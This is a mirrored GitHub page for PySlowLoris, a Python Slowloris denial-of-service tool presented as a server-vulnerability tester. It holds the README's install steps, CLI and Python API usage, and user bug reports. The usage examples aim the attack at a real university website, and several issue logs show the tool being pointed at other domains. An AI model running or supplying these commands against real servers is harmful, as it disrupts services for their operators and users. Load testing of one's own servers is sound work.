Giter Club home page Giter Club logo

slowloris's Introduction

PySlowLoris

Gitter chat License Python Build Status PyPI version

PySlowLoris is a tool for testing if your web server is vulnerable to slow-requests kind of attacks. The module is based on python-trio for Asynchronous I/O and poetry for dependency management. The idea behind this approach to create as many connections with a server as possible and keep them alive and send trash headers through the connection. Please DO NOT use this in the real attacks on the servers.

More information about the attack you can find here.

Installation

PyPi

For installation through the PyPI:

$ pip install pyslowloris==2.0.1

This method is prefered for installation of the most recent stable release.

Source-code

For installation through the source-code for local development:

$ git clone https://github.com/[username]/SlowLoris.git
$ cd SlowLoris
$ pip install poetry
$ pyenv install 3.8.3
$ pyenv local 3.8.3
$ poetry env use 3.8.3

Basic Usage

Available command list:

$ slowloris --help
usage: slowloris [-h] -u URL [-c CONNECTION_COUNT] [-s]

Asynchronous Python implementation of SlowLoris attack

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Link to a web server (http://google.com) - str
  -c CONNECTION_COUNT, --connection-count CONNECTION_COUNT
                        Count of active connections (default value is 247) - int
  -s, --silent          Ignore all of the errors [pure attack mode] - bool

Docker usage

Download image from Docker Hub

Pull the image from Docker Hub and run a container:

$ docker pull maxkrivich/pyslowloris
$ docker run --rm -it maxkrivich/pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]

Build image from source-code

Also you can build image from Dockerfile and run a container:

$ docker build -t pyslowloris .
$ docker run --rm -it pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]

Note: Don't forget about 'sudo'!

Example of usage

How to use module through Python API

Here is an example of usage

from pyslowloris import HostAddress, SlowLorisAttack

url = HostAddress.from_url("http://kpi.ua")
connections_count = 100

loris = SlowLorisAttack(url, connections_count, silent=True)
loris.start()

How to use module via CLI

The following command helps to use module from command line

$ slowloris -u http://kpi.ua/ -c 100 -s
stop execution: Ctrl + C

Testing

Testing with real apache server

$ docker-compose up web_server -d
$ .....

Module-tests

$ make pytest

Bugs, issues and contributing

If you find bugs or have suggestions about improving the module, don't hesitate to contact me.

License

This project is licensed under the MIT License - see the LICENSE file for details

Copyright (c) 2017-2020 Maxim Krivich

slowloris's People

Contributors

alexjs avatar dependabot[bot] avatar entick avatar github-actions[bot] avatar maxkrivich avatar schneems avatar wgiddens avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

slowloris's Issues

SSL call fails

  • Ubuntu 18.04LTS
  • Python 2.7

Using default tag: latest
latest: Pulling from maxkrivich/pyslowloris
402ae6c1c9cf: Pull complete
b9e2ecdf64ec: Pull complete
94f147cb24f1: Pull complete
d5be6b7b6169: Pull complete
4cd7baadf299: Pull complete
d7f197c3ce0d: Pull complete
0f8eb4f70e15: Pull complete
3d3cf6ec9dc0: Pull complete
Digest: sha256:b15859ddfbcc61da7a7c4f5376b26e08cee5c2f45806640417927a3d57e98b7e
Status: Downloaded newer image for maxkrivich/pyslowloris:latest

running with the following command results in an error

docker run --rm -it maxkrivich/pyslowloris -u https://web3.domainremoved.com -p 443 -s 300

/usr/local/lib/python2.7/dist-packages/urllib3-1.22-py2.7.egg/urllib3/util/ssl_.py:339: SNIMissingWarning: An HTTPS request has been made, but the SNI (Subject Name Indication) extension to TLS is not available on this platform. This may cause the server to present an incorrect TLS certificate, which can cause validation failures. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
SNIMissingWarning
/usr/local/lib/python2.7/dist-packages/urllib3-1.22-py2.7.egg/urllib3/util/ssl_.py:137: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecurePlatformWarning
2019-05-01 11:39:44,836 [ERROR] PySlowLoris: 'server'
Traceback (most recent call last):
File "build/bdist.linux-x86_64/egg/PySlowLoris/slowloris/targetinfo.py", line 62, in get_info
self.server = r.headers['Server']
File "/usr/local/lib/python2.7/dist-packages/requests-2.18.4-py2.7.egg/requests/structures.py", line 54, in getitem
return self._store[key.lower()][1]
KeyError: 'server'
Traceback (most recent call last):
File "/usr/local/bin/slowloris", line 9, in
load_entry_point('PySlowLoris==0.1.29', 'console_scripts', 'slowloris')()
File "build/bdist.linux-x86_64/egg/PySlowLoris/cli.py", line 147, in main
File "build/bdist.linux-x86_64/egg/PySlowLoris/cli.py", line 133, in print_info
File "build/bdist.linux-x86_64/egg/PySlowLoris/cli.py", line 122, in print_table
File "build/bdist.linux-x86_64/egg/PySlowLoris/cli.py", line 122, in
TypeError: object of type 'NoneType' has no len()

User agent issue

Hi hi,
I just bumped int that 1 minute ago:

โ””โ”€# slowloris -u http://www.xxxxxxxxxxxxxxx.com -c 100 -s
Attack info:
Target: http://www.xxxxxxxxxxxxxxxxxx.com:80/(00.210.000.11)
Connection count: 100
Mode (silent): True
Error occurred during loading data. Trying to use cache server https://fake-useragent.herokuapp.com/browsers/0.1.11
Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/fake_useragent/utils.py", line 154, in load
for item in get_browsers(verify_ssl=verify_ssl):
File "/usr/local/lib/python3.9/dist-packages/fake_useragent/utils.py", line 99, in get_browsers
html = html.split('

')[1]
IndexError: list index out of range

Any clue please?

PyPi long description format

Publication issue:
On PyPi in description tag PySlowLoris happens something weird. Probably the bug somewhere in setup.py at line 48.

SlowLoris/setup.py

Lines 47 to 49 in c15732a

with codecs.open(os.path.join(here, 'README.rst'), encoding='utf-8') as f:
LONG_DESCRIPTION = '\n'.join(line for line in f
if not line.startswith('..')) + '\n'

README.rst was generated by module m2r.

No module named Queue

  • OS and version used:
    Win 10 64
  • Python runtime used:
    3.7 64
  • Library version used:
    0.1.3.0

Description of the issue:

Getting: no module named Queue

Code sample exhibiting the issue:

Console log of the issue:

No module named 'Queue'
Stack trace:

File "C:\SlowLorisTest.py", line 18, in
from PySlowLoris import TargetInfo, SlowLorisAttack
Loaded 'main'
Loaded 'runpy'
The program 'python.exe' has exited with code 1 (0x1).

Socket is broken.

Attack info:
Target:
Connection count: 100
Mode (silent): False
Socket is broken.

Sockets not being created?

  • OS and version used:
    Ubuntu 18
  • Python runtime used:
    python3
  • Library version used:
    ?

Description of the issue:

Trying to run the command against my IP, I receive:

[07-10-2019 07:59:58] Creating sockets...
[07-10-2019 07:59:58] Creating socket nr 0
[07-10-2019 07:59:58] [Errno -2] Name or service not known
[07-10-2019 07:59:58] Sending keep-alive headers... Socket count: 0
[07-10-2019 07:59:58] Recreating socket...
[07-10-2019 07:59:58] [Errno -2] Name or service not known
[07-10-2019 07:59:58] Sleeping for 15 seconds

Which indicates the socket creation fails. Not sure what I'm missing.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.